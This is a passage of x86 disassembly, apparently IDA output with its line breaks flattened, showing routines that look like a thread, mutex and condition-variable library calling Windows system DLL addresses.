push ebx mov dword ptr [edi], 0 call sub_401690 mov edi, dword_511A70 add esp, 4 test eax, eax jz short loc_430C0A call edi mov edx, [eax] mov [esp+14h+arg_0], edx loc_430C0A: ; CODE XREF: sub_430B30+D0j lea eax, [esi+0Ch] push eax call sub_401690 add esp, 4 test eax, eax jz short loc_430C22 call edi mov ecx, [eax] mov [esp+14h+var_4], ecx loc_430C22: ; CODE XREF: sub_430B30+E8j push ebp call sub_4010C3 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_430C3C push ebp call sub_402252 add esp, 4 mov ebx, eax loc_430C3C: ; CODE XREF: sub_430B30+FFj cmp dword_5103BC, esi jnz short loc_430C4F mov edx, [esi+18h] mov dword_5103BC, edx jmp short loc_430C58 ; --------------------------------------------------------------------------- loc_430C4F: ; CODE XREF: sub_430B30+112j mov eax, [esi+1Ch] mov ecx, [esi+18h] mov [eax+18h], ecx loc_430C58: ; CODE XREF: sub_430B30+11Dj cmp dword_5103C0, esi jnz short loc_430C6B mov edx, [esi+1Ch] mov dword_5103C0, edx jmp short loc_430C74 ; --------------------------------------------------------------------------- loc_430C6B: ; CODE XREF: sub_430B30+12Ej mov eax, [esi+18h] mov ecx, [esi+1Ch] mov [eax+1Ch], ecx loc_430C74: ; CODE XREF: sub_430B30+139j push esi nop call near ptr 77C2C21Bh add esp, 4 loc_430C7E: ; CODE XREF: sub_430B30+B4j push offset dword_510980 nop call near ptr 7C9010EDh mov esi, [esp+14h+arg_0] mov ebp, [esp+14h+var_4] jmp short loc_430CC2 ; --------------------------------------------------------------------------- loc_430C93: ; CODE XREF: sub_430B30+28j push offset dword_510900 call near ptr 7C901005h nop cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_430CAB mov dword ptr [edi], 0 jmp short loc_430CB7 ; --------------------------------------------------------------------------- loc_430CAB: ; CODE XREF: sub_430B30+171j mov [esp+14h+arg_0], 10h mov esi, [esp+14h+arg_0] loc_430CB7: ; CODE XREF: sub_430B30+179j push offset dword_510900 call near ptr 7C9010EDh nop loc_430CC2: ; CODE XREF: sub_430B30+161j test esi, esi jz short loc_430CCE mov eax, esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430CCE: ; CODE XREF: sub_430B30+194j test ebp, ebp mov eax, ebp jnz short loc_430CE1 pop edi pop esi mov eax, ebx pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430CDC: ; CODE XREF: sub_430B30+15j ; sub_430B30+1Fj mov eax, 16h loc_430CE1: ; CODE XREF: sub_430B30+1A2j pop edi pop esi pop ebp pop ebx pop ecx retn sub_430B30 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430D60 proc near ; CODE XREF: sub_401203j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push 0 push eax push ecx call sub_430D90 add esp, 0Ch retn sub_430D60 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430D90 proc near ; CODE XREF: sub_430D60+Cp ; sub_431060+19p var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 20h push esi mov esi, [esp+24h+arg_0] test esi, esi push edi mov [esp+28h+var_20], 0 jz loc_430E99 mov eax, [esi] test eax, eax jz loc_430E99 cmp eax, 0FFFFFFFFh jnz short loc_430DD2 push esi call sub_401B63 add esp, 4 mov [esp+28h+var_20], eax test eax, eax jz short loc_430DD2 cmp eax, 10h jnz loc_430E9E loc_430DD2: ; CODE XREF: sub_430D90+26j ; sub_430D90+37j mov esi, [esi] lea edi, [esi+10h] push edi call sub_401041 add esp, 4 test eax, eax jz short loc_430DF2 nop call near ptr 77C1F2BCh mov eax, [eax] pop edi pop esi add esp, 20h retn ; --------------------------------------------------------------------------- loc_430DF2: ; CODE XREF: sub_430D90+52j mov ecx, [esi] push edi inc ecx mov [esi], ecx call sub_40103C add esp, 4 test eax, eax jz short loc_430E12 nop call near ptr 77C1F2BCh mov eax, [eax] pop edi pop esi add esp, 20h retn ; --------------------------------------------------------------------------- loc_430E12: ; CODE XREF: sub_430D90+72j mov edi, [esp+28h+arg_4] lea ecx, [esp+28h+var_10] push ecx lea edx, [esp+2Ch+var_1C] lea eax, [esp+2Ch+var_20] push offset loc_430F00 push edx mov [esp+34h+var_10], edi mov [esp+34h+var_C], esi mov [esp+34h+var_8], eax mov [esp+34h+var_4], 0 call sub_401663 ; --------------------------------------------------------------------------- dw 0E857h dd 0FFFD027Bh, 8910C483h, 85082444h, 8B2775C0h, 83342444h dd 56500CC6h, 0FD0A46E8h, 8C483FFh, 0E74C085h, 0E44EE890h dd 8B777Eh, 8244489h, 448B04EBh, 0C9330824h, 0C085016Ah dd 89C1940Fh, 0E828244Ch, 0FFFD0296h, 0C24448Bh, 5F04C483h dd 20C4835Eh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_430E99: ; CODE XREF: sub_430D90+13j ; sub_430D90+1Dj mov eax, 16h loc_430E9E: ; CODE XREF: sub_430D90+3Cj pop edi pop esi add esp, 20h retn sub_430D90 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_430F00: ; DATA XREF: sub_430D90+93o push ecx push ebx push ebp mov ebp, [esp+10h] push esi push edi mov esi, [ebp+4] mov ebx, [ebp+8] mov [esp+18h], ebx lea edi, [esi+14h] push edi call sub_402248 add esp, 4 test eax, eax jz short loc_430F2B pop edi pop esi mov [ebx], eax pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430F2B: ; CODE XREF: ___:00430F21j mov ebx, [esi+8] test ebx, ebx mov [esp+10h], ebx jz short loc_430F3E lea eax, [ebx-1] mov [esi+8], eax jmp short loc_430FA7 ; --------------------------------------------------------------------------- loc_430F3E: ; CODE XREF: ___:00430F34j mov ecx, [esi+4] inc ecx mov eax, ecx mov [esi+4], ecx cmp eax, 3FFFFFFFh jnz short loc_430FA7 lea ebx, [esi+10h] push ebx call sub_401041 add esp, 4 test eax, eax jz short loc_430F72 nop call near ptr 77C1F2BCh mov edx, [esp+18h] mov ecx, [eax] pop edi pop esi pop ebp mov [edx], ecx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430F72: ; CODE XREF: ___:00430F5Cj mov eax, [esi+4] mov ecx, [esi] sub ecx, eax push ebx mov [esi], ecx call sub_40103C add esp, 4 test eax, eax jz short loc_430F9C call near ptr 77C1F2BCh nop mov edx, [esp+18h] mov ecx, [eax] pop edi pop esi pop ebp mov [edx], ecx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430F9C: ; CODE XREF: ___:00430F86j mov ebx, [esp+10h] mov dword ptr [esi+4], 0 loc_430FA7: ; CODE XREF: ___:00430F3Cj ; ___:00430F4Cj push edi call sub_4010C3 add esp, 4 test eax, eax jz short loc_430FC0 mov ecx, [esp+18h] pop edi pop esi pop ebp mov [ecx], eax pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430FC0: ; CODE XREF: ___:00430FB2j cmp ebx, 1 jnz short loc_430FE9 add esi, 10h push esi call sub_40103C add esp, 4 test eax, eax jz short loc_430FE9 nop call near ptr 77C1F2BCh mov edx, [eax] mov eax, [esp+18h] pop edi pop esi pop ebp mov [eax], edx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430FE9: ; CODE XREF: ___:00430FC3j ; ___:00430FD3j mov ecx, [ebp+0] push ecx call sub_402248 add esp, 4 test eax, eax jz short loc_430FFF mov edx, [esp+18h] mov [edx], eax loc_430FFF: ; CODE XREF: ___:00430FF7j pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431060 proc near ; CODE XREF: sub_4011E0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jnz short loc_43106E mov eax, 16h retn ; --------------------------------------------------------------------------- loc_43106E: ; CODE XREF: sub_431060+6j mov ecx, [esp+arg_0] push eax mov eax, [esp+4+arg_4] push eax push ecx call sub_430D90 add esp, 0Ch retn sub_431060 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4310A0 proc near ; CODE XREF: sub_401E6Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_4310C0 add esp, 8 retn sub_4310A0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4310C0 proc near ; CODE XREF: sub_4310A0+7p ; sub_431220+7p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push ebx push esi push edi test eax, eax jz loc_4311C4 mov esi, [eax] test esi, esi jz loc_4311C4 cmp esi, 0FFFFFFFFh jnz short loc_4310E4 pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_4310E4: ; CODE XREF: sub_4310C0+1Cj lea ebx, [esi+14h] push ebx call sub_402248 add esp, 4 test eax, eax jnz loc_4311C9 mov ecx, [esi+8] mov eax, [esi] test ecx, ecx jz short loc_431134 test eax, eax jnz short loc_431112 loc_431105: ; CODE XREF: sub_4310C0+77j push ebx call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_431112: ; CODE XREF: sub_4310C0+43j mov edx, [esp+0Ch+arg_4] test edx, edx jz short loc_431129 mov edi, eax mov dword ptr [esi], 0 add ecx, edi mov [esi+8], ecx jmp short loc_431196 ; --------------------------------------------------------------------------- loc_431129: ; CODE XREF: sub_4310C0+58j inc ecx mov edi, 1 mov [esi+8], ecx jmp short loc_431193 ; --------------------------------------------------------------------------- loc_431134: ; CODE XREF: sub_4310C0+3Fj cmp eax, [esi+4] jle short loc_431105 lea ecx, [esi+10h] push ecx call sub_401041 add esp, 4 test eax, eax jz short loc_431160 nop call near ptr 77C1F2BCh mov esi, [eax] push ebx call sub_4010C3 add esp, 4 mov eax, esi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_431160: ; CODE XREF: sub_4310C0+87j mov eax, [esi+4] test eax, eax jz short loc_431174 mov ecx, [esi] mov dword ptr [esi+4], 0 sub ecx, eax mov [esi], ecx loc_431174: ; CODE XREF: sub_4310C0+A5j mov eax, [esp+0Ch+arg_4] test eax, eax jz short loc_431189 mov edi, [esi] mov dword ptr [esi], 0 mov [esi+8], edi jmp short loc_431196 ; --------------------------------------------------------------------------- loc_431189: ; CODE XREF: sub_4310C0+BAj mov eax, [esi] mov edi, 1 mov [esi+8], edi loc_431193: ; CODE XREF: sub_4310C0+72j dec eax mov [esi], eax loc_431196: ; CODE XREF: sub_4310C0+67j ; sub_4310C0+C7j push ebx call sub_4010C3 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_4311BE add esi, 0Ch push edi push esi call sub_402068 add esp, 8 test eax, eax jz short loc_4311BE nop call near ptr 77C1F2BCh mov ebx, [eax] loc_4311BE: ; CODE XREF: sub_4310C0+E3j ; sub_4310C0+F4j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4311C4: ; CODE XREF: sub_4310C0+9j ; sub_4310C0+13j mov eax, 16h loc_4311C9: ; CODE XREF: sub_4310C0+32j pop edi pop esi pop ebx retn sub_4310C0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431220 proc near ; CODE XREF: sub_40160Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4310C0 add esp, 8 retn sub_431220 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431240 proc near ; CODE XREF: sub_40123Aj var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ecx push ebx push esi push edi mov edi, 0Bh xor ebx, ebx call sub_401B27 mov esi, eax test esi, esi jz loc_431316 mov eax, [esi+28h] push 0Ch mov [esp+14h+var_4], eax call near ptr 77C2C407h nop mov ebx, eax add esp, 4 test ebx, ebx jz loc_431316 mov ecx, [esp+10h+arg_8] mov edx, [esp+10h+arg_C] push ebp mov ebp, [esp+14h+arg_4] test ebp, ebp mov [ebx], esi mov [ebx+4], ecx mov [ebx+8], edx jz short loc_4312BE mov eax, [ebp+0] test eax, eax jz short loc_4312BE mov edi, [eax+8] mov eax, [eax+0Ch] mov [esi+20h], eax mov eax, [ebp+0] mov ecx, [eax+10h] mov [esp+14h+var_4], ecx mov ecx, [eax+14h] test ecx, ecx jnz short loc_4312C0 call sub_4012E4 ; --------------------------------------------------------------------------- mov edx, [eax+28h] mov [esp+14h+var_4], edx jmp short loc_4312C0 ; --------------------------------------------------------------------------- loc_4312BE: ; CODE XREF: sub_431240+4Dj ; sub_431240+54j xor edi, edi loc_4312C0: ; CODE XREF: sub_431240+6Ej ; sub_431240+7Cj push esi push 4 push ebx xor eax, eax push offset loc_401BA9 push edi push eax mov [esi+0Ch], eax mov [esi+80h], eax nop call near ptr 77C3A3DBh mov edi, eax add esp, 18h test edi, edi mov [esi+4], edi jz short loc_431309 test ebp, ebp jz short loc_431302 cmp dword ptr [ebp+0], 0 jz short loc_431302 mov eax, [esp+14h+var_4] push eax push 0 push esi call sub_4020D1 add esp, 0Ch loc_431302: ; CODE XREF: sub_431240+AAj ; sub_431240+B0j push edi nop call near ptr 2770236h loc_431309: ; CODE XREF: sub_431240+A6j neg edi sbb edi, edi pop ebp and edi, 0FFFFFFF5h add edi, 0Bh jz short loc_431349 loc_431316: ; CODE XREF: sub_431240+14j ; sub_431240+30j push esi call sub_4017B7 add esp, 4 xor esi, esi test ebx, ebx jz short loc_43133C push ebx nop call near ptr 77C2C21Bh mov ecx, [esp+14h+arg_0] add esp, 4 mov eax, edi mov [ecx], esi pop edi pop esi pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_43133C: ; CODE XREF: sub_431240+E3j mov edx, [esp+10h+arg_0] mov eax, edi pop edi mov [edx], esi pop esi pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_431349: ; CODE XREF: sub_431240+D4j mov eax, [esp+10h+arg_0] mov [eax], esi mov eax, edi pop edi pop esi pop ebx pop ecx retn sub_431240 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_4313B0: ; CODE XREF: ___:00401343j mov ecx, [esp+8] mov eax, 1 cmp ecx, 3 ; switch 4 cases ja short locret_4313E7 ; default jmp off_4313EC[ecx*4] ; switch jump loc_4313C5: ; DATA XREF: ___:off_4313ECo call sub_401712 ; jumptable 004313BE case 1 retn 0Ch ; --------------------------------------------------------------------------- loc_4313CD: ; CODE XREF: ___:004313BEj ; DATA XREF: ___:off_4313ECo call sub_4017BC ; jumptable 004313BE case 2 retn 0Ch ; --------------------------------------------------------------------------- loc_4313D5: ; CODE XREF: ___:004313BEj ; DATA XREF: ___:off_4313ECo call sub_4017CB ; jumptable 004313BE case 3 retn 0Ch ; --------------------------------------------------------------------------- loc_4313DD: ; CODE XREF: ___:004313BEj ; DATA XREF: ___:off_4313ECo call sub_4017CB ; jumptable 004313BE case 0 call sub_401627 locret_4313E7: ; CODE XREF: ___:004313BCj retn 0Ch ; default ; --------------------------------------------------------------------------- align 4 off_4313EC dd offset loc_4313DD ; DATA XREF: ___:004313BEr dd offset loc_4313C5 ; jump table for switch statement dd offset loc_4313CD dd offset loc_4313D5 db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_431420: ; CODE XREF: ___:004017C1j mov eax, dword_5103B4 push esi push edi push eax call sub_401190 ; --------------------------------------------------------------------------- db 8Bh, 7Ch, 24h dd 83F08B10h, 0F68504C4h, 90570A75h, 808EC6E8h, 4C48377h dd 7E89016Ah, 99FE814h, 0C483FFFDh, 0C35E5F04h, 3 dup(90909090h) dd 4 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_431470 proc near ; CODE XREF: sub_401762j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push offset dword_5108C0 xor esi, esi nop call near ptr 7C901005h mov eax, [esp+4+arg_0] test eax, eax jz short loc_43149B mov eax, [eax+4] test eax, eax jz short loc_43149B push eax nop call near ptr 2760675h cmp eax, 7FFFFFFFh jnz short loc_4314A0 loc_43149B: ; CODE XREF: sub_431470+14j ; sub_431470+1Bj mov esi, 3 loc_4314A0: ; CODE XREF: sub_431470+29j push offset dword_5108C0 nop call near ptr 7C9010EDh test esi, esi jnz short loc_4314BC mov eax, [esp+4+arg_4] test eax, eax mov eax, 16h jnz short loc_4314BE loc_4314BC: ; CODE XREF: sub_431470+3Dj mov eax, esi loc_4314BE: ; CODE XREF: sub_431470+4Aj pop esi retn sub_431470 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4314E0: ; CODE XREF: ___:00401654j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz short loc_431531 mov edi, [esp+14h] test edi, edi jz short loc_431531 mov eax, [esi] xor ebx, ebx test eax, eax jnz short loc_431511 lea eax, [esi+4] push eax call near ptr 276060Fh nop test eax, eax jnz short loc_431517 call edi mov dword ptr [esi], 1 loc_431511: ; CODE XREF: ___:004314F9j ; ___:0043151Aj pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_431517: ; CODE XREF: ___:00431507j cmp dword ptr [esi], 0 jnz short loc_431511 mov edi, dword_5118D8 loc_431522: ; CODE XREF: ___:00431529j push 0 call edi cmp dword ptr [esi], 0 jz short loc_431522 pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_431531: ; CODE XREF: ___:004314E9j ; ___:004314F1j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431560 proc near ; CODE XREF: sub_4012E4j mov eax, dword_5103B4 push esi push edi push eax call sub_401190 sub_431560 endp ; --------------------------------------------------------------------------- db 8Bh, 0F0h, 83h dd 0F68504C4h, 0ACE87675h, 8BFFFD05h, 74F685F0h, 7C7E8B5Bh dd 1B8h, 53F80B00h, 897C7E89h, 0E8902046h, 231F9DAh, 187C1D8Bh dd 26A0051h, 6A047E8Dh, 57006A00h, 0D3FF0689h, 0ECF7E850h dd 50900235h, 9050D3FFh, 32EA43E8h, 5BC08502h, 0E8560E75h dd 0FFFD0609h, 3304C483h, 0C35E5FC0h, 0E8510F8Bh, 232F09Dh dd 28468990h, 3B4158Bh, 52560051h, 0FD0B10E8h, 8C483FFh dd 5E5FC68Bh, 909090C3h, 3 dup(90909090h), 0Ch dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_431630 proc near ; CODE XREF: sub_401A64j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jnz short loc_43164E test eax, eax jz short loc_431648 mov eax, [eax] mov edx, [ecx] cmp eax, edx jnz short loc_43164E loc_431648: ; CODE XREF: sub_431630+Ej mov eax, 1 retn ; --------------------------------------------------------------------------- loc_43164E: ; CODE XREF: sub_431630+Aj ; sub_431630+16j xor eax, eax retn sub_431630 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431670: ; CODE XREF: ___:0040200Ej mov eax, [esp+4] test eax, eax jge short loc_43167E mov eax, 16h retn ; --------------------------------------------------------------------------- loc_43167E: ; CODE XREF: ___:00431676j mov dword_5103C4, eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4316A0: ; CODE XREF: ___:00401564j mov eax, dword_5103C4 retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4316C0 proc near ; CODE XREF: sub_401B27j push esi call sub_401307 mov esi, eax test esi, esi jnz short loc_4316E2 push 84h push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jz short loc_431729 loc_4316E2: ; CODE XREF: sub_4316C0+Aj push 0 push 0 or eax, 0FFFFFFFFh push 1 push 0 mov dword ptr [esi+28h], 0 mov dword ptr [esi+20h], 0 mov dword ptr [esi+30h], 0 mov dword ptr [esi+34h], 1 mov [esi+2Ch], eax mov [esi+24h], eax nop call near ptr 2750BE3h test eax, eax mov [esi+38h], eax jnz short loc_431729 push esi call sub_401BD1 add esp, 4 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_431729: ; CODE XREF: sub_4316C0+20j ; sub_4316C0+5Aj mov eax, esi pop esi retn sub_4316C0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431750 proc near ; CODE XREF: sub_401307j push esi push offset dword_5108C0 nop call near ptr 7C901005h mov esi, dword_447700 cmp esi, 1 jz short loc_431785 mov eax, [esi+8] push offset dword_5108C0 mov dword_447700, eax mov dword ptr [esi+8], 0 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_431785: ; CODE XREF: sub_431750+15j push offset dword_5108C0 xor esi, esi nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_431750 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4317C0 proc near ; CODE XREF: sub_401BD1j arg_0 = dword ptr 4 push edi push offset dword_5108C0 nop call near ptr 7C901005h mov edx, [esp+4+arg_0] mov ecx, 21h xor eax, eax mov edi, edx rep stosd mov eax, dword_447700 push offset dword_5108C0 mov [edx+8], eax mov dword_447700, edx call near ptr 7C9010EDh nop pop edi retn sub_4317C0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431810 proc near ; CODE XREF: sub_40164Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0FFFFFFFFh push eax call sub_431830 sub_431810 endp ; --------------------------------------------------------------------------- add esp, 8 retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431830 proc near ; CODE XREF: sub_431810+7p ; sub_431950+Ap var_8 = dword ptr -8 arg_0 = dword ptr 4 sub esp, 8 mov eax, [esp+8+arg_0] push esi push edi mov edi, 1 mov [esp+10h+var_8], eax call sub_4012E4 sub_431830 endp ; --------------------------------------------------------------------------- mov esi, eax test esi, esi jz short loc_431866 mov eax, [esi+30h] test eax, eax jnz short loc_43186E mov eax, [esi+38h] test eax, eax mov [esp+0Ch], eax jz short loc_43186E mov edi, 2 jmp short loc_43186E ; --------------------------------------------------------------------------- loc_431866: ; CODE XREF: ___:0043184Bj mov dword ptr [esp+0Ch], 0 loc_43186E: ; CODE XREF: ___:00431852j ; ___:0043185Dj ... mov ecx, [esp+18h] lea edx, [esp+8] push ecx push 0 push edx push edi nop call near ptr 2750A35h mov ecx, eax sub ecx, 0 jz short loc_4318F9 dec ecx jz short loc_4318A4 sub eax, 102h pop edi neg eax sbb eax, eax pop esi and eax, 0FFFFD8CAh add eax, 274Ch add esp, 8 retn ; --------------------------------------------------------------------------- loc_4318A4: ; CODE XREF: ___:00431889j mov eax, [esp+0Ch] push eax nop call near ptr 277070Eh test esi, esi jz short loc_4318EE lea edi, [esi+2Ch] push edi call sub_402248 mov ecx, [esi+0Ch] mov eax, 3 add esp, 4 cmp ecx, eax jge short loc_4318E5 push edi mov [esi+0Ch], eax mov dword ptr [esi+30h], 1 call sub_4010C3 push 2 call sub_401DED ; --------------------------------------------------------------------------- add esp, 8 loc_4318E5: ; CODE XREF: ___:004318C9j push edi call sub_4010C3 add esp, 4 loc_4318EE: ; CODE XREF: ___:004318B1j pop edi mov eax, 16h pop esi add esp, 8 retn ; --------------------------------------------------------------------------- loc_4318F9: ; CODE XREF: ___:00431886j pop edi xor eax, eax pop esi add esp, 8 retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431950 proc near ; CODE XREF: sub_401D84j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_431830 sub_431950 endp ; --------------------------------------------------------------------------- add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431980 proc near ; CODE XREF: sub_401C17j arg_0 = dword ptr 4 push esi push offset dword_510920 xor esi, esi nop call near ptr 7C901005h mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_4319B4 push esi push ecx call sub_4021BC add esp, 8 mov esi, eax push offset dword_510920 call near ptr 7C9010EDh nop mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_4319B4: ; CODE XREF: sub_431980+17j test eax, eax jnz short loc_4319BD mov esi, 16h loc_4319BD: ; CODE XREF: sub_431980+36j push offset dword_510920 nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_431980 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4319F0 proc near ; CODE XREF: sub_4021BCj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push ebp xor ebp, ebp push edi test eax, eax jnz short loc_431A04 pop edi mov eax, 16h pop ebp retn ; --------------------------------------------------------------------------- loc_431A04: ; CODE XREF: sub_4319F0+Aj mov edi, [esp+8+arg_4] test edi, edi jz short loc_431A1F mov eax, [edi] test eax, eax jz short loc_431A1F cmp dword ptr [eax], 1 jnz short loc_431A1F pop edi mov eax, 28h pop ebp retn ; --------------------------------------------------------------------------- loc_431A1F: ; CODE XREF: sub_4319F0+1Aj ; sub_4319F0+20j ... push esi push 2Ch push 1 call near ptr 77C2C0C3h nop mov esi, eax add esp, 8 test esi, esi jnz short loc_431A44 mov edx, [esp+0Ch+arg_0] mov ebp, 0Ch mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn ; --------------------------------------------------------------------------- loc_431A44: ; CODE XREF: sub_4319F0+41j test edi, edi mov dword ptr [esi], 0FFFFFFFFh mov dword ptr [esi+4], 0 jz short loc_431A60 mov edi, [edi] test edi, edi jz short loc_431A60 mov edi, [edi+4] jmp short loc_431A62 ; --------------------------------------------------------------------------- loc_431A60: ; CODE XREF: sub_4319F0+63j ; sub_4319F0+69j xor edi, edi loc_431A62: ; CODE XREF: sub_4319F0+6Ej push 0 lea eax, [esi+10h] push 0 push eax mov [esi+8], edi mov dword ptr [esi+0Ch], 0 call sub_401C8A add esp, 0Ch test eax, eax jz short loc_431A9D push esi mov ebp, 0Bh call near ptr 77C2C21Bh nop mov edx, [esp+10h+arg_0] add esp, 4 xor esi, esi mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn ; --------------------------------------------------------------------------- loc_431A9D: ; CODE XREF: sub_4319F0+8Ej lea ecx, [esi+14h] push ecx nop call near ptr 2780E2Eh mov edx, [esp+0Ch+arg_0] mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn sub_4319F0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431B00 proc near ; CODE XREF: sub_402252j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi test edi, edi jz loc_431BE0 mov eax, [edi] test eax, eax jz loc_431BE0 cmp eax, 0FFFFFFFFh jz loc_431BA5 mov [esp+8+arg_0], eax lea eax, [esp+8+arg_0] push eax call sub_401785 mov esi, eax add esp, 4 test esi, esi jnz loc_431BDB mov ecx, [esp+8+arg_0] mov eax, [ecx+4] cmp eax, 1 jnz short loc_431B97 lea ecx, [esp+8+arg_0] mov [edi], esi push ecx call sub_4010C3 mov edx, [esp+0Ch+arg_0] mov esi, eax add esp, 4 test esi, esi jnz short loc_431B90 add edx, 10h push edx call sub_401690 mov eax, [esp+0Ch+arg_0] add esp, 4 add eax, 14h push eax nop call near ptr 278073Ah mov ecx, [esp+8+arg_0] push ecx nop call near ptr 77C2C21Bh add esp, 4 mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431B90: ; CODE XREF: sub_431B00+61j mov [edi], edx mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431B97: ; CODE XREF: sub_431B00+48j dec eax mov esi, 10h mov [ecx+4], eax mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431BA5: ; CODE XREF: sub_431B00+1Dj push offset dword_510920 call near ptr 7C901005h nop cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_431BCB push offset dword_510920 mov dword ptr [edi], 0 nop call near ptr 7C9010EDh mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431BCB: ; CODE XREF: sub_431B00+B3j push offset dword_510920 mov esi, 10h nop call near ptr 7C9010EDh loc_431BDB: ; CODE XREF: sub_431B00+38j mov eax, esi pop edi pop esi 